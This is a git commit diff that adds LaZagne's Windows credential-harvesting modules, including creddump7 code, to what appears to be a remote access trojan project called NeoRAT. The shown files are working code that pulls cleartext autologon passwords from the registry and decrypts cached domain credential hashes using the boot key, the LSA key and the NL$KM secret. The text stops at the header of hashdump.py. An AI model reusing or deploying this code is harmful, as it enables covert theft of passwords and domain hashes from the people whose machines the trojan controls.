summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/windows
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/windows
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/windows')
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/autologon.py50
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/cachedump.py19
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py144
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py315
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/object.py179
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/types.py63
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py146
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py298
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py183
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py81
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/credfiles.py22
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/credman.py34
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/hashdump.py15
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py34
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/ppypykatz.py73
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/vault.py71
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/vaultfiles.py23
-rw-r--r--foreign/client_handling/lazagne/softwares/windows/windows.py77
21 files changed, 1827 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/windows/__init__.py b/foreign/client_handling/lazagne/softwares/windows/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/autologon.py b/foreign/client_handling/lazagne/softwares/windows/autologon.py
new file mode 100644
index 0000000..fb79561
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/autologon.py
@@ -0,0 +1,50 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+
+# Password are stored in cleartext on old system (< 2008 R2 and < Win7)
+# If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output)
+
+
+class Autologon(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True)
+
+ def run(self):
+ pwd_found = []
+ try:
+ hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
+ if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1:
+ self.debug(u'Autologin enabled')
+
+ keys = {
+ 'DefaultDomainName': '',
+ 'DefaultUserName': '',
+ 'DefaultPassword': '',
+ 'AltDefaultDomainName': '',
+ 'AltDefaultUserName': '',
+ 'AltDefaultPassword': '',
+ }
+
+ to_remove = []
+ for k in keys:
+ try:
+ keys[k] = str(winreg.QueryValueEx(hkey, k)[0])
+ except Exception:
+ to_remove.append(k)
+
+ for r in to_remove:
+ keys.pop(r)
+
+ if keys:
+ pwd_found.append(keys)
+
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/cachedump.py b/foreign/client_handling/lazagne/softwares/windows/cachedump.py
new file mode 100644
index 0000000..4e9564e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/cachedump.py
@@ -0,0 +1,19 @@
+# -*- coding: utf-8 -*-
+from .creddump7.win32.domcachedump import dump_file_hashes
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import get_os_version
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Cachedump(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True)
+
+ def run(self):
+ is_vista_or_higher = False
+ if float(get_os_version()) >= 6.0:
+ is_vista_or_higher = True
+
+ mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
+ if mscache:
+ return ['__MSCache__', mscache]
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
new file mode 100644
index 0000000..9b63a6c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
@@ -0,0 +1,144 @@
+# Volatility
+# Copyright (C) 2007 Volatile Systems
+#
+# Original Source:
+# Copyright (C) 2004,2005,2006 4tphi Research
+# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+
+"""
+@author: AAron Walters
+@license: GNU General Public License 2.0 or later
+@contact: awalters@volatilesystems.com
+@organization: Volatile Systems
+"""
+
+""" Alias for all address spaces """
+
+import os
+import struct
+
+
+class FileAddressSpace:
+ def __init__(self, fname, mode='rb', fast=False):
+ self.fname = fname
+ self.name = fname
+ self.fhandle = open(fname, mode)
+ self.fsize = os.path.getsize(fname)
+
+ if fast:
+ self.fast_fhandle = open(fname, mode)
+
+ def fread(self, len):
+ return self.fast_fhandle.read(len)
+
+ def read(self, addr, len):
+ self.fhandle.seek(addr)
+ return self.fhandle.read(len)
+
+ def read_long(self, addr):
+ string = self.read(addr, 4)
+ (longval,) = struct.unpack('L', string)
+ return longval
+
+ def get_address_range(self):
+ return [0, self.fsize - 1]
+
+ def get_available_addresses(self):
+ return [self.get_address_range()]
+
+ def is_valid_address(self, addr):
+ return addr < self.fsize - 1
+
+ def close(self):
+ self.fhandle.close()
+
+
+# Code below written by Brendan Dolan-Gavitt
+
+BLOCK_SIZE = 0x1000
+
+
+class HiveFileAddressSpace:
+ def __init__(self, fname):
+ self.fname = fname
+ self.base = FileAddressSpace(fname)
+
+ def vtop(self, vaddr):
+ return vaddr + BLOCK_SIZE + 4
+
+ def read(self, vaddr, length, zero=False):
+ first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
+ full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
+ left_over = (length + vaddr) % BLOCK_SIZE
+
+ paddr = self.vtop(vaddr)
+ if not paddr and zero:
+ if length < first_block:
+ return "\0" * length
+ else:
+ stuff_read = "\0" * first_block
+ elif not paddr:
+ return None
+ else:
+ if length < first_block:
+ stuff_read = self.base.read(paddr, length)
+ if not stuff_read and zero:
+ return "\0" * length
+ else:
+ return stuff_read
+
+ stuff_read = self.base.read(paddr, first_block)
+ if not stuff_read and zero:
+ stuff_read = "\0" * first_block
+
+ new_vaddr = vaddr + first_block
+ for i in range(0, full_blocks):
+ paddr = self.vtop(new_vaddr)
+ if not paddr and zero:
+ stuff_read = stuff_read + "\0" * BLOCK_SIZE
+ elif not paddr:
+ return None
+ else:
+ new_stuff = self.base.read(paddr, BLOCK_SIZE)
+ if not new_stuff and zero:
+ new_stuff = "\0" * BLOCK_SIZE
+ elif not new_stuff:
+ return None
+ else:
+ stuff_read = stuff_read + new_stuff
+ new_vaddr = new_vaddr + BLOCK_SIZE
+
+ if left_over > 0:
+ paddr = self.vtop(new_vaddr)
+ if not paddr and zero:
+ stuff_read = stuff_read + "\0" * left_over
+ elif not paddr:
+ return None
+ else:
+ stuff_read = stuff_read + self.base.read(paddr, left_over)
+ return stuff_read
+
+ def read_long_phys(self, addr):
+ string = self.base.read(addr, 4)
+ (longval,) = struct.unpack('L', string)
+ return longval
+
+ def is_valid_address(self, vaddr):
+ paddr = self.vtop(vaddr)
+ if not paddr: return False
+ return self.base.is_valid_address(paddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
new file mode 100644
index 0000000..05d4b09
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
@@ -0,0 +1,315 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+from .object import *
+from .types import regtypes as types
+from operator import itemgetter
+from struct import unpack
+
+
+def get_ptr_type(structure, member):
+ """Return the type a pointer points to.
+
+ Arguments:
+ structure : the name of the structure from vtypes
+ member : a list of members
+
+ Example:
+ get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
+ """
+ if len(member) > 1:
+ _, tp = get_obj_offset(types, [structure, member[0]])
+ if tp == 'array':
+ return types[structure][1][member[0]][1][2][1]
+ else:
+ return get_ptr_type(tp, member[1:])
+ else:
+ return types[structure][1][member[0]][1][1]
+
+
+class Obj(object):
+ """Base class for all objects.
+
+ May return a subclass for certain data types to allow
+ for special handling.
+ """
+
+ def __new__(typ, name, address, space):
+ if name in globals():
+ # This is a bit of "magic"
+ # Could be replaced with a dict mapping type names to types
+ return globals()[name](name,address,space)
+ elif name in builtin_types:
+ return Primitive(name, address, space)
+ else:
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space):
+ self.name = name
+ self.address = address
+ self.space = space
+
+ # Subclasses can add fields to this list if they want them
+ # to show up in values() or members(), even if they do not
+ # appear in the vtype definition
+ self.extra_members = []
+
+ def __getattribute__(self, attr):
+ try:
+ return object.__getattribute__(self, attr)
+ except AttributeError:
+ pass
+
+ if self.name in builtin_types:
+ raise AttributeError("Primitive types have no dynamic attributes")
+
+ try:
+ off, tp = get_obj_offset(types, [self.name, attr])
+ except Exception:
+ raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
+
+ if tp == 'array':
+ a_len = types[self.name][1][attr][1][1]
+ l = []
+ for i in range(a_len):
+ a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
+ if a_tp == 'pointer':
+ ptp = get_ptr_type(self.name, [attr, i])
+ l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
+ else:
+ l.append(Obj(a_tp, self.address+a_off, self.space))
+ return l
+ elif tp == 'pointer':
+ # Can't just return a Obj here, since pointers need to also
+ # know what type they point to.
+ ptp = get_ptr_type(self.name, [attr])
+ return Pointer(tp, self.address+off, self.space, ptp)
+ else:
+ return Obj(tp, self.address+off, self.space)
+
+ def __truediv__(self, other):
+ if isinstance(other, (tuple, list)):
+ return Pointer(other[0], self.address, self.space, other[1])
+ elif isinstance(other, str):
+ return Obj(other, self.address, self.space)
+ else:
+ raise ValueError("Must provide a type name as string for casting")
+
+ def __div__(self, other):
+ if isinstance(other, tuple) or isinstance(other, list):
+ return Pointer(other[0], self.address, self.space, other[1])
+ elif isinstance(other, str):
+ return Obj(other, self.address, self.space)
+ else:
+ raise ValueError("Must provide a type name as string for casting")
+
+ def members(self):
+ """Return a list of this object's members, sorted by offset."""
+
+ # Could also just return the list
+ membs = [(k, v[0]) for k,v in types[self.name][1].items()]
+ membs.sort(key=itemgetter(1))
+ return map(itemgetter(0),membs) + self.extra_members
+
+ def values(self):
+ """Return a dictionary of this object's members and their values"""
+
+ valdict = {}
+ for k in self.members():
+ valdict[k] = getattr(self, k)
+ return valdict
+
+ def bytes(self, length=-1):
+ """Get bytes starting at the address of this object.
+
+ Arguments:
+ length : the number of bytes to read. Default: size of
+ this object.
+ """
+
+ if length == -1:
+ length = self.size()
+ return self.space.read(self.address, length)
+
+ def size(self):
+ """Get the size of this object."""
+
+ if self.name in builtin_types:
+ return builtin_types[self.name][0]
+ else:
+ return types[self.name][0]
+
+ def __repr__(self):
+ return "<%s @%08x>" % (self.name, self.address)
+
+ def __eq__(self, other):
+ if not isinstance(other, Obj):
+ raise TypeError("Types are incomparable")
+ return self.address == other.address and self.name == other.name
+
+ def __ne__(self, other):
+ return not self.__eq__(other)
+
+ def __hash__(self):
+ return hash(self.address) ^ hash(self.name)
+
+ def is_valid(self):
+ return self.space.is_valid_address(self.address)
+
+ def get_offset(self, member):
+ return get_obj_offset(types, [self.name] + member)
+
+
+class Primitive(Obj):
+ """Class to represent a primitive data type.
+
+ Attributes:
+ value : the python primitive value of this type
+ """
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space):
+ super(Primitive, self).__init__(name, address, space)
+ length, fmt = builtin_types[name]
+ data = space.read(address, length)
+ if not data:
+ self.value = None
+ else:
+ self.value = unpack(fmt,data)[0]
+
+ def __repr__(self):
+ return repr(self.value)
+
+ def members(self):
+ return []
+
+
+class Pointer(Obj):
+ """Class to represent pointers.
+
+ value : the object pointed to
+
+ If an attribute is not found in this instance,
+ the attribute will be looked up in the referenced
+ object."""
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space, ptr_type):
+ super(Pointer, self).__init__(name, address, space)
+ ptr_address = read_value(space, name, address)
+ if ptr_type[0] == 'pointer':
+ self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
+ else:
+ self.value = Obj(ptr_type[0], ptr_address, self.space)
+
+ def __getattribute__(self, attr):
+ # It's still nice to be able to access things through pointers
+ # without having to explicitly dereference them, so if we don't
+ # find an attribute via our superclass, just dereference the pointer
+ # and return the attribute in the pointed-to type.
+ try:
+ return super(Pointer, self).__getattribute__(attr)
+ except AttributeError:
+ return getattr(self.value, attr)
+
+ def __repr__(self):
+ return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
+
+ def members(self):
+ return self.value.members()
+
+
+class _UNICODE_STRING(Obj):
+ """Class representing a _UNICODE_STRING
+
+ Adds the following behavior:
+ * The Buffer attribute is presented as a Python string rather
+ than a pointer to an unsigned short.
+ * The __str__ method returns the value of the Buffer.
+ """
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __str__(self):
+ return self.Buffer
+
+ # Custom Attributes
+ def getBuffer(self):
+ return read_unicode_string(self.space, types, [], self.address)
+ Buffer = property(fget=getBuffer)
+
+
+class _CM_KEY_NODE(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getName(self):
+ return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value)
+ Name = property(fget=getName)
+
+
+class _CM_KEY_VALUE(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getName(self):
+ return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value)
+ Name = property(fget=getName)
+
+
+class _CHILD_LIST(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getList(self):
+ lst = []
+ list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address)
+ for i in range(self.Count.value):
+ lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"]))
+ return lst
+ List = property(fget=getList)
+
+
+class _CM_KEY_INDEX(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getList(self):
+ lst = []
+ for i in range(self.Count.value):
+ # we are ignoring the hash value here
+ off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
+ lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"]))
+ return lst
+ List = property(fget=getList)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
new file mode 100644
index 0000000..d2fa04b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
@@ -0,0 +1,179 @@
+# Volatools Basic
+# Copyright (C) 2007 Komoku, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+
+"""
+@author: AAron Walters and Nick Petroni
+@license: GNU General Public License 2.0 or later
+@contact: awalters@komoku.com, npetroni@komoku.com
+@organization: Komoku, Inc.
+"""
+
+import struct
+
+builtin_types = {
+ 'int': (4, 'i'),
+ 'long': (4, 'i'),
+ 'unsigned long': (4, 'I'),
+ 'unsigned int': (4, 'I'),
+ 'address': (4, 'I'),
+ 'char': (1, 'c'),
+ 'unsigned char': (1, 'B'),
+ 'unsigned short': (2, 'H'),
+ 'short': (2, 'h'),
+ 'long long': (8, 'q'),
+ 'unsigned long long': (8, 'Q'),
+ 'pointer': (4, 'I'),
+}
+
+
+def obj_size(types, objname):
+ if objname not in types:
+ raise Exception('Invalid type %s not in types' % objname)
+
+ return types[objname][0]
+
+
+def builtin_size(builtin):
+ if builtin not in builtin_types:
+ raise Exception('Invalid built-in type %s' % builtin)
+
+ return builtin_types[builtin][0]
+
+
+def read_value(addr_space, value_type, vaddr):
+ """
+ Read the low-level value for a built-in type.
+ """
+
+ if value_type not in builtin_types:
+ raise Exception('Invalid built-in type %s' % value_type)
+
+ type_unpack_char = builtin_types[value_type][1]
+ type_size = builtin_types[value_type][0]
+
+ buf = addr_space.read(vaddr, type_size)
+ if buf is None:
+ return None
+
+ try:
+ (val,) = struct.unpack(type_unpack_char, buf)
+ except Exception:
+ return None
+
+ return val
+
+
+def read_unicode_string(addr_space, types, member_list, vaddr):
+ offset = 0
+ if len(member_list) > 1:
+ (offset, current_type) = get_obj_offset(types, member_list)
+
+ buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
+ length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
+
+ if length == 0x0:
+ return ""
+
+ if buf is None or length is None:
+ return None
+
+ readBuf = read_string(addr_space, types, ['char'], buf, length)
+
+ if readBuf is None:
+ return None
+
+ try:
+ readBuf = readBuf.decode('UTF-16').encode('ascii')
+ except Exception:
+ return None
+
+ return readBuf
+
+
+def read_string(addr_space, types, member_list, vaddr, max_length=256):
+ offset = 0
+ if len(member_list) > 1:
+ (offset, current_type) = get_obj_offset(types, member_list)
+
+ val = addr_space.read(vaddr + offset, max_length)
+
+ return val
+
+
+def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
+ string = read_string(addr_space, types, member_list, vaddr, max_length)
+
+ if string is None:
+ return None
+
+ if string.find('\0') == -1:
+ return string
+ (string, none) = string.split('\0', 1)
+ return string
+
+
+def get_obj_offset(types, member_list):
+ """
+ Returns the (offset, type) pair for a given list
+ """
+ member_list.reverse()
+
+ current_type = member_list.pop()
+
+ offset = 0
+ current_member = 0
+ member_dict = None
+
+ while len(member_list) > 0:
+ if current_type == 'array':
+ if member_dict:
+ current_type = member_dict[current_member][1][2][0]
+ if current_type in builtin_types:
+ current_type_size = builtin_size(current_type)
+ else:
+ current_type_size = obj_size(types, current_type)
+ index = member_list.pop()
+ offset += index * current_type_size
+ continue
+
+ elif current_type not in types:
+ raise Exception('Invalid type ' + current_type)
+
+ member_dict = types[current_type][1]
+
+ current_member = member_list.pop()
+ if current_member not in member_dict:
+ raise Exception('Invalid member %s in type %s' % (current_member, current_type))
+
+ offset += member_dict[current_member][0]
+
+ current_type = member_dict[current_member][1][0]
+
+ return offset, current_type
+
+
+def read_obj(addr_space, types, member_list, vaddr):
+ """
+ Read the low-level value for some complex type's member.
+ The type must have members.
+ """
+ if len(member_list) < 2:
+ raise Exception('Invalid type/member ' + str(member_list))
+
+ (offset, current_type) = get_obj_offset(types, member_list)
+ return read_value(addr_space, current_type, vaddr + offset)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
new file mode 100644
index 0000000..8ad79a6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
@@ -0,0 +1,63 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+regtypes = {
+ '_CM_KEY_VALUE': [0x18, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'NameLength': [0x2, ['unsigned short']],
+ 'DataLength': [0x4, ['unsigned long']],
+ 'Data': [0x8, ['unsigned long']],
+ 'Type': [0xc, ['unsigned long']],
+ 'Flags': [0x10, ['unsigned short']],
+ 'Spare': [0x12, ['unsigned short']],
+ 'Name': [0x14, ['array', 1, ['unsigned short']]],
+ }],
+ '_CM_KEY_NODE': [0x50, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'Flags': [0x2, ['unsigned short']],
+ 'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
+ 'Spare': [0xc, ['unsigned long']],
+ 'Parent': [0x10, ['unsigned long']],
+ 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
+ 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
+ 'ValueList': [0x24, ['_CHILD_LIST']],
+ 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
+ 'Security': [0x2c, ['unsigned long']],
+ 'Class': [0x30, ['unsigned long']],
+ 'MaxNameLen': [0x34, ['unsigned long']],
+ 'MaxClassLen': [0x38, ['unsigned long']],
+ 'MaxValueNameLen': [0x3c, ['unsigned long']],
+ 'MaxValueDataLen': [0x40, ['unsigned long']],
+ 'WorkVar': [0x44, ['unsigned long']],
+ 'NameLength': [0x48, ['unsigned short']],
+ 'ClassLength': [0x4a, ['unsigned short']],
+ 'Name': [0x4c, ['array', 1, ['unsigned short']]],
+ }],
+ '_CM_KEY_INDEX': [0x8, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'Count': [0x2, ['unsigned short']],
+ 'List': [0x4, ['array', 1, ['unsigned long']]],
+ }],
+ '_CHILD_LIST': [0x8, {
+ 'Count': [0x0, ['unsigned long']],
+ 'List': [0x4, ['unsigned long']],
+ }],
+}
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
new file mode 100644
index 0000000..983c81a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
@@ -0,0 +1,146 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hmac
+import hashlib
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey
+from .lsasecrets import get_secret_by_name, get_lsa_key
+from struct import unpack
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+
+AES_BLOCK_SIZE = 16
+
+
+def get_nlkm(secaddr, lsakey, vista):
+ return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
+
+
+def decrypt_hash(edata, nlkm, ch):
+ hmac_md5 = hmac.new(nlkm, ch, hashlib.md5)
+ rc4key = hmac_md5.digest()
+
+ rc4 = RC4(rc4key)
+ data = rc4.encrypt(edata)
+ return data
+
+
+def decrypt_hash_vista(edata, nlkm, ch):
+ """
+ Based on code from http://lab.mediaservice.net/code/cachedump.rb
+ """
+ aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch)
+
+ out = ""
+ for i in range(0, len(edata), 16):
+ buf = edata[i:i+16]
+ if len(buf) < 16:
+ buf += (16 - len(buf)) * "\00"
+ out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)])
+ return out
+
+
+def parse_cache_entry(cache_data):
+ (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+ (domain_name_len,) = unpack("<H", cache_data[60:62])
+ ch = cache_data[64:80]
+ enc_data = cache_data[96:]
+ return uname_len, domain_len, domain_name_len, enc_data, ch
+
+
+def parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len):
+ uname_off = 72
+ pad = 2 * ((uname_len / 2) % 2)
+ domain_off = uname_off + uname_len + pad
+ pad = 2 * ((domain_len / 2) % 2)
+ domain_name_off = domain_off + domain_len + pad
+
+ data_hash = dec_data[:0x10]
+
+ username = dec_data[uname_off:uname_off+uname_len]
+ username = username.decode('utf-16-le', errors='ignore')
+
+ domain = dec_data[domain_off:domain_off+domain_len]
+ domain = domain.decode('utf-16-le', errors='ignore')
+
+ domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+ domain_name = domain_name.decode('utf-16-le', errors='ignore')
+
+ return username, domain, domain_name, data_hash
+
+
+def dump_hashes(sysaddr, secaddr, vista):
+ bootkey = get_bootkey(sysaddr)
+ if not bootkey:
+ return []
+
+ lsakey = get_lsa_key(secaddr, bootkey, vista)
+ if not lsakey:
+ return []
+
+ nlkm = get_nlkm(secaddr, lsakey, vista)
+ if not nlkm:
+ return []
+
+ root = get_root(secaddr)
+ if not root:
+ return []
+
+ cache = open_key(root, ["Cache"])
+ if not cache:
+ return []
+
+ hashes = []
+ for v in values(cache):
+ if v.Name == "NL$Control":
+ continue
+
+ data = v.space.read(v.Data.value, v.DataLength.value)
+
+ (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data)
+
+ # Skip if nothing in this cache entry
+ if uname_len == 0:
+ continue
+
+ if vista:
+ dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
+ else:
+ dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+ (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len)
+ hashes.append((username, domain, domain_name, hash))
+
+ return hashes
+
+
+def dump_file_hashes(syshive_fname, sechive_fname, vista):
+ sysaddr = HiveFileAddressSpace(syshive_fname)
+ secaddr = HiveFileAddressSpace(sechive_fname)
+
+ results = []
+ for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
+ results.append("%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower()))
+ return results
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
new file mode 100644
index 0000000..02a8e58
